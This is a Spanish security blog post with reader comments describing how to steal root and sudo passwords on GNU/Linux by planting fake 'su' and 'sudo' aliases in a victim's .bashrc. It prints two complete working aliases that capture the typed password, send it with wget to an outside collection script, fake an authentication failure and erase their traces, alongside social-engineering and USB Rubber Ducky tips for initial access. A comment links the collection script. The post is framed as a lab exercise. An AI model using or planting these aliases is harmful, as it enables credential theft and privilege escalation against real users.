jueves, octubre 30, 2014

Ataques a GNU/Linux con alias maliciosos de su y sudo

A principios de este año nos enteramos de que en mi centro de estudios iban a poner Linux en los laboratorios de electrónica. En concreto estaban metiendo GNU/Linux Manjaro, una derivada de Arch Linux en la que por seguridad, los usuarios utilizarían cuentas no privilegiadas para trabajar y cuando fuera necesario pasarían a modo super usuario con un comando "su", para gestionar software o hacer configuraciones.

Figura 1: Cómo hacer ataques a sistemas GNU/Linux con alias maliciosos

El reto que se nos planteó era ver si sería complejo o no robar las cuentas de los super usuarios en los sistemas de este entorno, para ver si esto podía generar muchos problemas de soporte o no. Con esto en mente, se me ocurrió que una forma de robar las contraseñas sería usar un comando alias de los sistemas *NIX* para crear un falso "su" que me permitiera acceder a las contraseñas cuando se teclearan en una sesión de usuario no privilegiado para pasar a super usuario. Os cuento el ataque paso a paso.

Paso 1: Control de la sesión no privilegiada

El primer objetivo es conseguir el acceso a una sesión no privilegiada del sistema. Esto puede hacerse de muchas formas que van desde aprovechar un descuido de la sesión hasta "te paso este ejercicio en este pendrive, ejecuta este programa que te copia todos los ficheros de esta práctica" - para lo que yo me creé un pequeño script bash que descarga de Internet todo - , o cualquier forma de conseguir una ejecución de un script en el sistema. Un buen truco podría ser utilizar un USB Rubber Ducky para ejecutarlo en un descuido de la víctima.

Figura 2: USB Rubber Ducky simula ser un pendrive pero es un teclado programado

No olvidéis que esto está pensado para ataques que se realizan en entornos conocidos y la ingeniería social es importante, como en el ejemplo de ataque que se publicó ayer, donde se robaba la base de datos por medio de la apertura de un fichero Excel creado a medida.

Paso 2: Ejecución del script que crea el falso alias de su

El script inicial, al que llamé "aliasliado" crea un falso alias malicioso para su que simula un fallo en la autenticación cuando se introduce la contraseña que se requiere al ejecutar el autentico comando "su". La idea es que cuando se ejecute el comando "su", realmente se ejecutará el alias malicioso de "su". Éste pedirá  la contraseña de super usuario, la robaría, me la enviaría, mostraría un error de autenticación y borraría todo. El script que crea este falso alias es el siguiente:
alias su=' echo -n "Contraseña: " ; read -s PASS1 ; wget --background --quiet --output-document=$HOME/.local/.wine32 "blogx86.net/aliasliado.php?victima=HackConcept&clave=$PASS1" > /dev/null ; echo "" ; sleep 3 ; echo "su: Fallo de autenticación" ; unalias su >> /dev/null 2>&1 ; unset PASS1 ; rm -f $HOME/.local/.wine32 > /dev/null 2>&1 ; sed -e "/^alias su/d" ~/.bashrc > .temporal ; mv .temporal ~/.bashrc '
Como se puede ver, una vez que se ejecuta el comando "su" vía el alias malicioso, la contraseña que se haya introducido ha volado a manos del atacante y se ha eliminado cualquier rastro de infección dejando que el equipo funcione como estaba funcionando antes.

Paso 3: Una evolución del ataque gracias a "melasudo"

Hablando ayer con Chema Alonso sobre la publicación de este artículo, descubrí que el equipo de auditoría web de Informática 64 - ahora en Eleven Paths - hace un par de años había hecho lo mismo, pero con el comando sudo, mucho más efectivo para algunas distribuciones de GNU/Linux como Ubuntu. En esos casos es script lo aprovechaban para ownear servidores web en los que habían conseguido acceso no privilegiado con la cuenta del servidor web y querían hacer una elevación de privilegios.

Figura 3: Script de melasudo que crea un alias malicioso para sudo

El paso a paso está explicado en el artículo: "Melasudo: robar la password a un sudoer con ingenio" En este alias malicioso, utilizan una llamada a un script oculto en el directorio $HOME de la víctima que me ha gustado, así que he mezclado ambas ideas en el siguiente alias malicioso para que sea mi "Chevrolet Camaro" en este tipo de ataques.
alias sudo=' echo -n "[sudo] password for $(whoami): " ; read -s PASS1 ; wget --background --quiet --output-document=$HOME/.local/.wine32 "blogx86.net/aliasliado.php?victima=HackConcept&clave=$PASS1" > /dev/null ; echo "" ; sleep 3 ; echo "Lo sentimos, vuelva a intentarlo." ; unalias sudo >> /dev/null 2>&1 ; unset PASS1 ; rm -f $HOME/.local/.wine32 > /dev/null 2>&1 ; sed -e "/^alias su/d" ~/.bashrc > .temporal ; mv .temporal ~/.bashrc ; sudo $1 $2 $3 $4 $5 $6 $7'
El siguiente vídeo muestra este script funcionando en un ataque. En él se puede ver cómo se crea el alias malicioso, se roba la contraseña y luego todo queda igual que antes.


Figura 4: Vídeo demostración de ataque con alias malicioso

Conclusiones

Cualquier punto de entrada sigue siendo potencialmente peligroso, ya sea un fichero Excel, un USB Rubber Ducky que se conecta o un programa camuflado de cualquier forma. Conseguir la ejecución en un entorno no privilegiado sería el primer paso para conseguir luego la elevación de privilegios, aun con ayuda de un usuario.

Figura 5: Como conseguir una elevación en Windows con infección de enlaces a aplicaciones no privilegidas

Hace tiempo, cuando Windows Vista implantó UAC por defecto con el máximo nivel de seguridad, ya se publicó en el año 2007 una forma similar para lograr la elevación de privilegios infectando los enlaces a aplicaciones que el usuario no privilegiado tenía, así que como veis, el ataque se puede hacer igualmente en sistemas Windows.

Autor: Christian Prieto
Escritor del blog X86.net

3 comentarios:

  1. En cuanto a lo de elevar privilegios desde apache a root, es complicado que alguien esté en el sistema mediante ssh con la cuenta de apache y haga un sudo / su para pasar a super usuario.

    Hay que tener mucha suerte para robar así una credencial, no?

    ResponderEliminar
  2. Depende. Si el usuario utiliza el clásico /home/pepe/public_html y ha dado permisos de lectura y escritura al grupo de Apache en su carpeta /home/pepe , o bien han configurado el PHP para ejecutarse con el usuario "pepe" cuando sirve la web allí almacenada, puedes probar a sobrescribir el /home/pepe/.bashrc, y casi seguro que "pepe" lo va a ejecutar. Quizá pueda funcionar en entornos compartidos, o algo así. Ahora, que el "pepe" tenga acceso a root...

    ResponderEliminar
  3. Hola.
    Veo que está siendo probado el alias malicioso, más que nada lo digo por el spam de claves (unas de prueba y alguna que otra posiblemente real?) que me están llegando al correo.
    A continuación os coloco un link al fichero php de mi servidor el cual se utiliza para el envío de las claves por correo (está comprimido en tar.gz).
    El fichero php lo borraré del servidor ya que era solamente para realizar las pruebas.

    link:
    http://blogx86.net/MATERIALES/aliasliado.tar.gz

    Un saludo!

    ResponderEliminar